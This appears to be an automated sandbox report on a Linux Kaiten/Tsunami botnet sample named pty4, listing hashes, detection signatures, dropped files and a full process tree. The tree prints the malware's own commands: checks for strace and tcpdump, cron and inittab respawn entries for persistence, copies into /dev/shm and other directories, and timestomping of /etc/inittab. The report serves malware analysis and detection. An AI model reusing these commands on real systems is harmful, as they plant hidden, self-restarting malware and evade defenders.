Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20260513-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    23/07/2026, 00:22

General

  • Target
    pty4
  • Size 43KB
  • Sample260723-apbfwsec97
  • SHA256 8d411d1ec4327e5a10b8ffddaacdac17a0a6acab43db81202119604b35c7317b
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: Kaiten,Tsunami

    Linux-based IoT botnet which is controlled through IRC and normally used to carry out DDoS attacks.

  • Detects Kaiten/Tsunami Payload 1 IoCs
  • Creates/modifies Cron job 1 TTPs 5 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Indicator Removal: Timestomp 1 TTPs 10 IoCs

    Adversaries may remove indicators of compromise from the host to evade detection.

  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Changes its process name 1 IoCs
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to shm directory 1 IoCs

    Malware can drop malicious files in the shm directory which will run directly from RAM.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/pty4
    /tmp/pty4
    1⤵
    • Changes its process name
    • Writes file to tmp directory
    PID:1488
    • /bin/sh
      sh -c "pidof -x strace > /dev/null"
      2⤵
        PID:1489
        • /bin/pidof
          pidof -x strace
          3⤵
          • Reads runtime system information
          PID:1490
      • /bin/sh
        sh -c "pidof -x tcpdump > /dev/null"
        2⤵
          PID:1494
          • /bin/pidof
            pidof -x tcpdump
            3⤵
            • Reads runtime system information
            PID:1495
        • /bin/sh
          sh -c "cat /etc/inittab | grep -v \"/tmp/pty4\" > /etc/inittab2"
          2⤵
            PID:1499
            • /bin/cat
              cat /etc/inittab
              3⤵
                PID:1502
              • /bin/grep
                grep -v /tmp/pty4
                3⤵
                  PID:1503
              • /bin/sh
                sh -c "crontab -l | grep /tmp/pty4 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /tmp/pty4 > /dev/null 2>&1 &\") | crontab -"
                2⤵
                  PID:1500
                  • /bin/grep
                    grep -v "no cron"
                    3⤵
                      PID:1506
                    • /bin/grep
                      grep /tmp/pty4
                      3⤵
                        PID:1505
                      • /usr/bin/crontab
                        crontab -l
                        3⤵
                          PID:1504
                        • /usr/bin/crontab
                          crontab -
                          3⤵
                          • Creates/modifies Cron job
                          PID:1510
                        • /usr/bin/crontab
                          crontab -l
                          3⤵
                            PID:1512
                        • /bin/sh
                          sh -c "crontab -r"
                          2⤵
                            PID:1501
                            • /usr/bin/crontab
                              crontab -r
                              3⤵
                                PID:1507
                            • /bin/sh
                              sh -c "echo \"0:2345:respawn:/tmp/pty4\" >> /etc/inittab2"
                              2⤵
                                PID:1508
                              • /bin/sh
                                sh -c "cat /etc/inittab2 > /etc/inittab"
                                2⤵
                                  PID:1511
                                  • /bin/cat
                                    cat /etc/inittab2
                                    3⤵
                                      PID:1513
                                  • /bin/sh
                                    sh -c "rm -rf /etc/inittab2"
                                    2⤵
                                      PID:1514
                                      • /bin/rm
                                        rm -rf /etc/inittab2
                                        3⤵
                                          PID:1515
                                      • /bin/sh
                                        sh -c "touch -acmr /bin/ls /etc/inittab"
                                        2⤵
                                        • Indicator Removal: Timestomp
                                        PID:1516
                                        • /usr/bin/touch
                                          touch -acmr /bin/ls /etc/inittab
                                          3⤵
                                          • Indicator Removal: Timestomp
                                          PID:1517
                                      • /bin/sh
                                        sh -c "/bin/uname -n"
                                        2⤵
                                          PID:1523
                                          • /bin/uname
                                            /bin/uname -n
                                            3⤵
                                              PID:1525
                                          • /bin/sh
                                            sh -c "cp -f /tmp/pty4 /dev/shm/pty4"
                                            2⤵
                                              PID:1524
                                              • /bin/cp
                                                cp -f /tmp/pty4 /dev/shm/pty4
                                                3⤵
                                                • Writes file to shm directory
                                                PID:1526
                                            • /bin/sh
                                              sh -c "cat /etc/inittab | grep -v \"/dev/shm/pty4\" > /etc/inittab2"
                                              2⤵
                                                PID:1528
                                                • /bin/cat
                                                  cat /etc/inittab
                                                  3⤵
                                                    PID:1530
                                                  • /bin/grep
                                                    grep -v /dev/shm/pty4
                                                    3⤵
                                                      PID:1531
                                                  • /bin/sh
                                                    sh -c "crontab -l | grep /dev/shm/pty4 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /dev/shm/pty4 > /dev/null 2>&1 &\") | crontab -"
                                                    2⤵
                                                      PID:1529
                                                      • /usr/bin/crontab
                                                        crontab -l
                                                        3⤵
                                                          PID:1532
                                                        • /bin/grep
                                                          grep -v "no cron"
                                                          3⤵
                                                            PID:1534
                                                          • /bin/grep
                                                            grep /dev/shm/pty4
                                                            3⤵
                                                              PID:1533
                                                            • /usr/bin/crontab
                                                              crontab -
                                                              3⤵
                                                              • Creates/modifies Cron job
                                                              PID:1538
                                                            • /usr/bin/crontab
                                                              crontab -l
                                                              3⤵
                                                                PID:1539
                                                            • /bin/sh
                                                              sh -c "echo \"0:2345:respawn:/dev/shm/pty4\" >> /etc/inittab2"
                                                              2⤵
                                                                PID:1535
                                                              • /bin/sh
                                                                sh -c "cat /etc/inittab2 > /etc/inittab"
                                                                2⤵
                                                                  PID:1536
                                                                  • /bin/cat
                                                                    cat /etc/inittab2
                                                                    3⤵
                                                                      PID:1540
                                                                  • /bin/sh
                                                                    sh -c "rm -rf /etc/inittab2"
                                                                    2⤵
                                                                      PID:1541
                                                                      • /bin/rm
                                                                        rm -rf /etc/inittab2
                                                                        3⤵
                                                                          PID:1542
                                                                      • /bin/sh
                                                                        sh -c "touch -acmr /bin/ls /etc/inittab"
                                                                        2⤵
                                                                        • Indicator Removal: Timestomp
                                                                        PID:1543
                                                                        • /usr/bin/touch
                                                                          touch -acmr /bin/ls /etc/inittab
                                                                          3⤵
                                                                          • Indicator Removal: Timestomp
                                                                          PID:1544
                                                                      • /bin/sh
                                                                        sh -c "cp -f /tmp/pty4 /var/tmp/pty4"
                                                                        2⤵
                                                                          PID:1545
                                                                          • /bin/cp
                                                                            cp -f /tmp/pty4 /var/tmp/pty4
                                                                            3⤵
                                                                              PID:1546
                                                                          • /bin/sh
                                                                            sh -c "cat /etc/inittab | grep -v \"/var/tmp/pty4\" > /etc/inittab2"
                                                                            2⤵
                                                                              PID:1548
                                                                              • /bin/cat
                                                                                cat /etc/inittab
                                                                                3⤵
                                                                                  PID:1550
                                                                                • /bin/grep
                                                                                  grep -v /var/tmp/pty4
                                                                                  3⤵
                                                                                    PID:1551
                                                                                • /bin/sh
                                                                                  sh -c "crontab -l | grep /var/tmp/pty4 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /var/tmp/pty4 > /dev/null 2>&1 &\") | crontab -"
                                                                                  2⤵
                                                                                    PID:1549
                                                                                    • /usr/bin/crontab
                                                                                      crontab -l
                                                                                      3⤵
                                                                                        PID:1552
                                                                                      • /bin/grep
                                                                                        grep /var/tmp/pty4
                                                                                        3⤵
                                                                                          PID:1553
                                                                                        • /bin/grep
                                                                                          grep -v "no cron"
                                                                                          3⤵
                                                                                            PID:1554
                                                                                          • /usr/bin/crontab
                                                                                            crontab -
                                                                                            3⤵
                                                                                            • Creates/modifies Cron job
                                                                                            PID:1557
                                                                                          • /usr/bin/crontab
                                                                                            crontab -l
                                                                                            3⤵
                                                                                              PID:1559
                                                                                          • /bin/sh
                                                                                            sh -c "echo \"0:2345:respawn:/var/tmp/pty4\" >> /etc/inittab2"
                                                                                            2⤵
                                                                                              PID:1555
                                                                                            • /bin/sh
                                                                                              sh -c "cat /etc/inittab2 > /etc/inittab"
                                                                                              2⤵
                                                                                                PID:1558
                                                                                                • /bin/cat
                                                                                                  cat /etc/inittab2
                                                                                                  3⤵
                                                                                                    PID:1560
                                                                                                • /bin/sh
                                                                                                  sh -c "rm -rf /etc/inittab2"
                                                                                                  2⤵
                                                                                                    PID:1561
                                                                                                    • /bin/rm
                                                                                                      rm -rf /etc/inittab2
                                                                                                      3⤵
                                                                                                        PID:1562
                                                                                                    • /bin/sh
                                                                                                      sh -c "touch -acmr /bin/ls /etc/inittab"
                                                                                                      2⤵
                                                                                                      • Indicator Removal: Timestomp
                                                                                                      PID:1563
                                                                                                      • /usr/bin/touch
                                                                                                        touch -acmr /bin/ls /etc/inittab
                                                                                                        3⤵
                                                                                                        • Indicator Removal: Timestomp
                                                                                                        PID:1564
                                                                                                    • /bin/sh
                                                                                                      sh -c "cp -f /tmp/pty4 /var/lock/pty4"
                                                                                                      2⤵
                                                                                                        PID:1565
                                                                                                        • /bin/cp
                                                                                                          cp -f /tmp/pty4 /var/lock/pty4
                                                                                                          3⤵
                                                                                                            PID:1566
                                                                                                        • /bin/sh
                                                                                                          sh -c "cat /etc/inittab | grep -v \"/var/lock/pty4\" > /etc/inittab2"
                                                                                                          2⤵
                                                                                                            PID:1568
                                                                                                            • /bin/cat
                                                                                                              cat /etc/inittab
                                                                                                              3⤵
                                                                                                                PID:1570
                                                                                                              • /bin/grep
                                                                                                                grep -v /var/lock/pty4
                                                                                                                3⤵
                                                                                                                  PID:1571
                                                                                                              • /bin/sh
                                                                                                                sh -c "crontab -l | grep /var/lock/pty4 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /var/lock/pty4 > /dev/null 2>&1 &\") | crontab -"
                                                                                                                2⤵
                                                                                                                  PID:1569
                                                                                                                  • /bin/grep
                                                                                                                    grep -v "no cron"
                                                                                                                    3⤵
                                                                                                                      PID:1574
                                                                                                                    • /bin/grep
                                                                                                                      grep /var/lock/pty4
                                                                                                                      3⤵
                                                                                                                        PID:1573
                                                                                                                      • /usr/bin/crontab
                                                                                                                        crontab -l
                                                                                                                        3⤵
                                                                                                                          PID:1572
                                                                                                                        • /usr/bin/crontab
                                                                                                                          crontab -
                                                                                                                          3⤵
                                                                                                                          • Creates/modifies Cron job
                                                                                                                          PID:1578
                                                                                                                        • /usr/bin/crontab
                                                                                                                          crontab -l
                                                                                                                          3⤵
                                                                                                                            PID:1579
                                                                                                                        • /bin/sh
                                                                                                                          sh -c "echo \"0:2345:respawn:/var/lock/pty4\" >> /etc/inittab2"
                                                                                                                          2⤵
                                                                                                                            PID:1575
                                                                                                                          • /bin/sh
                                                                                                                            sh -c "cat /etc/inittab2 > /etc/inittab"
                                                                                                                            2⤵
                                                                                                                              PID:1576
                                                                                                                              • /bin/cat
                                                                                                                                cat /etc/inittab2
                                                                                                                                3⤵
                                                                                                                                  PID:1580
                                                                                                                              • /bin/sh
                                                                                                                                sh -c "rm -rf /etc/inittab2"
                                                                                                                                2⤵
                                                                                                                                  PID:1581
                                                                                                                                  • /bin/rm
                                                                                                                                    rm -rf /etc/inittab2
                                                                                                                                    3⤵
                                                                                                                                      PID:1582
                                                                                                                                  • /bin/sh
                                                                                                                                    sh -c "touch -acmr /bin/ls /etc/inittab"
                                                                                                                                    2⤵
                                                                                                                                    • Indicator Removal: Timestomp
                                                                                                                                    PID:1583
                                                                                                                                    • /usr/bin/touch
                                                                                                                                      touch -acmr /bin/ls /etc/inittab
                                                                                                                                      3⤵
                                                                                                                                      • Indicator Removal: Timestomp
                                                                                                                                      PID:1584
                                                                                                                                  • /bin/sh
                                                                                                                                    sh -c "cp -f /tmp/pty4 /var/run/pty4"
                                                                                                                                    2⤵
                                                                                                                                      PID:1585
                                                                                                                                      • /bin/cp
                                                                                                                                        cp -f /tmp/pty4 /var/run/pty4
                                                                                                                                        3⤵
                                                                                                                                          PID:1586
                                                                                                                                      • /bin/sh
                                                                                                                                        sh -c "cat /etc/inittab | grep -v \"/var/run/pty4\" > /etc/inittab2"
                                                                                                                                        2⤵
                                                                                                                                          PID:1588
                                                                                                                                          • /bin/grep
                                                                                                                                            grep -v /var/run/pty4
                                                                                                                                            3⤵
                                                                                                                                              PID:1591
                                                                                                                                            • /bin/cat
                                                                                                                                              cat /etc/inittab
                                                                                                                                              3⤵
                                                                                                                                                PID:1590
                                                                                                                                            • /bin/sh
                                                                                                                                              sh -c "crontab -l | grep /var/run/pty4 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /var/run/pty4 > /dev/null 2>&1 &\") | crontab -"
                                                                                                                                              2⤵
                                                                                                                                                PID:1589
                                                                                                                                                • /bin/grep
                                                                                                                                                  grep -v "no cron"
                                                                                                                                                  3⤵
                                                                                                                                                    PID:1594
                                                                                                                                                  • /usr/bin/crontab
                                                                                                                                                    crontab -l
                                                                                                                                                    3⤵
                                                                                                                                                      PID:1592
                                                                                                                                                    • /bin/grep
                                                                                                                                                      grep /var/run/pty4
                                                                                                                                                      3⤵
                                                                                                                                                        PID:1593
                                                                                                                                                      • /usr/bin/crontab
                                                                                                                                                        crontab -
                                                                                                                                                        3⤵
                                                                                                                                                        • Creates/modifies Cron job
                                                                                                                                                        PID:1598
                                                                                                                                                      • /usr/bin/crontab
                                                                                                                                                        crontab -l
                                                                                                                                                        3⤵
                                                                                                                                                          PID:1600
                                                                                                                                                      • /bin/sh
                                                                                                                                                        sh -c "echo \"0:2345:respawn:/var/run/pty4\" >> /etc/inittab2"
                                                                                                                                                        2⤵
                                                                                                                                                          PID:1595
                                                                                                                                                        • /bin/sh
                                                                                                                                                          sh -c "cat /etc/inittab2 > /etc/inittab"
                                                                                                                                                          2⤵
                                                                                                                                                            PID:1596
                                                                                                                                                            • /bin/cat
                                                                                                                                                              cat /etc/inittab2
                                                                                                                                                              3⤵
                                                                                                                                                                PID:1599
                                                                                                                                                            • /bin/sh
                                                                                                                                                              sh -c "rm -rf /etc/inittab2"
                                                                                                                                                              2⤵
                                                                                                                                                                PID:1601
                                                                                                                                                                • /bin/rm
                                                                                                                                                                  rm -rf /etc/inittab2
                                                                                                                                                                  3⤵
                                                                                                                                                                    PID:1602
                                                                                                                                                                • /bin/sh
                                                                                                                                                                  sh -c "touch -acmr /bin/ls /etc/inittab"
                                                                                                                                                                  2⤵
                                                                                                                                                                  • Indicator Removal: Timestomp
                                                                                                                                                                  PID:1603
                                                                                                                                                                  • /usr/bin/touch
                                                                                                                                                                    touch -acmr /bin/ls /etc/inittab
                                                                                                                                                                    3⤵
                                                                                                                                                                    • Indicator Removal: Timestomp
                                                                                                                                                                    PID:1604

                                                                                                                                                              Network

                                                                                                                                                                    MITRE ATT&CK Enterprise v16

                                                                                                                                                                    Replay Monitor

                                                                                                                                                                    Loading Replay Monitor...

                                                                                                                                                                    Downloads

                                                                                                                                                                    pty4

                                                                                                                                                                    • Path /dev/shm/pty4
                                                                                                                                                                    • Size 43KB
                                                                                                                                                                    • SHA256 8d411d1ec4327e5a10b8ffddaacdac17a0a6acab43db81202119604b35c7317b
                                                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                                                                    inittab

                                                                                                                                                                    • Path /etc/inittab
                                                                                                                                                                    • Size 83B
                                                                                                                                                                    • SHA256 7fbf43311d4796b4039c1b4336eee7ca6552be98203d1858d14cb6e37ea877e5
                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH

                                                                                                                                                                    inittab

                                                                                                                                                                    • Path /etc/inittab
                                                                                                                                                                    • Size 113B
                                                                                                                                                                    • SHA256 7afb3d064700bcb2fec3b727de8e99eb2afebb919d4222ad3a92936b0ed714ae
                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH

                                                                                                                                                                    inittab2

                                                                                                                                                                    • Path /etc/inittab2
                                                                                                                                                                    • Size 54B
                                                                                                                                                                    • SHA256 031e3a9a99c03a49fea757df0d3ff52fc5dbcc07d37f2674efe21cae6529c370
                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH

                                                                                                                                                                    inittab2

                                                                                                                                                                    • Path /etc/inittab2
                                                                                                                                                                    • Size 142B
                                                                                                                                                                    • SHA256 53aca2a49a912146645bbb47d0abb1827520434abb907cadf77bc55b2572b099
                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH

                                                                                                                                                                    inittab2

                                                                                                                                                                    • Path /etc/inittab2
                                                                                                                                                                    • Size 25B
                                                                                                                                                                    • SHA256 a1a915c2d2d8b0997cea0c5885f31609e34ba6f5e9761f7a1fe5c292ae743dea
                                                                                                                                                                    • MD5 SHA1 SHA512

                                                                                                                                                                    tmp.8vkAEp

                                                                                                                                                                    • Path /var/spool/cron/crontabs/tmp.8vkAEp
                                                                                                                                                                    • Size 257B
                                                                                                                                                                    • SHA256 6e5ab9452e08f3f79eb3128b0e1a083d9beeeac2de39f086fbf6fd9db2a4652c
                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH

                                                                                                                                                                    tmp.LV1fjx

                                                                                                                                                                    • Path /var/spool/cron/crontabs/tmp.LV1fjx
                                                                                                                                                                    • Size 300B
                                                                                                                                                                    • SHA256 0a5c0650ef63038c887bd638079db6059b2dd947fb582f10fbcfe4db1dd64049
                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH

                                                                                                                                                                    tmp.kUxsmi

                                                                                                                                                                    • Path /var/spool/cron/crontabs/tmp.kUxsmi
                                                                                                                                                                    • Size 214B
                                                                                                                                                                    • SHA256 045be81bfcf1b1c22791bc37c3946c844ddfedb363b6a966ec6e74b0fd93b8ca
                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH

                                                                                                                                                                    tmp.sAi47G

                                                                                                                                                                    • Path /var/spool/cron/crontabs/tmp.sAi47G
                                                                                                                                                                    • Size 387B
                                                                                                                                                                    • SHA256 989644b28a58aa381d6b851a49fb9bbcb4e57014029766d9dbbacac2f412f49b
                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH

                                                                                                                                                                    tmp.sYW0cC

                                                                                                                                                                    • Path /var/spool/cron/crontabs/tmp.sYW0cC
                                                                                                                                                                    • Size 344B
                                                                                                                                                                    • SHA256 1c75b27bfccd8a3bd6c581357c47192eea5300a06ff18ed7c4cc143d8ddb4290
                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH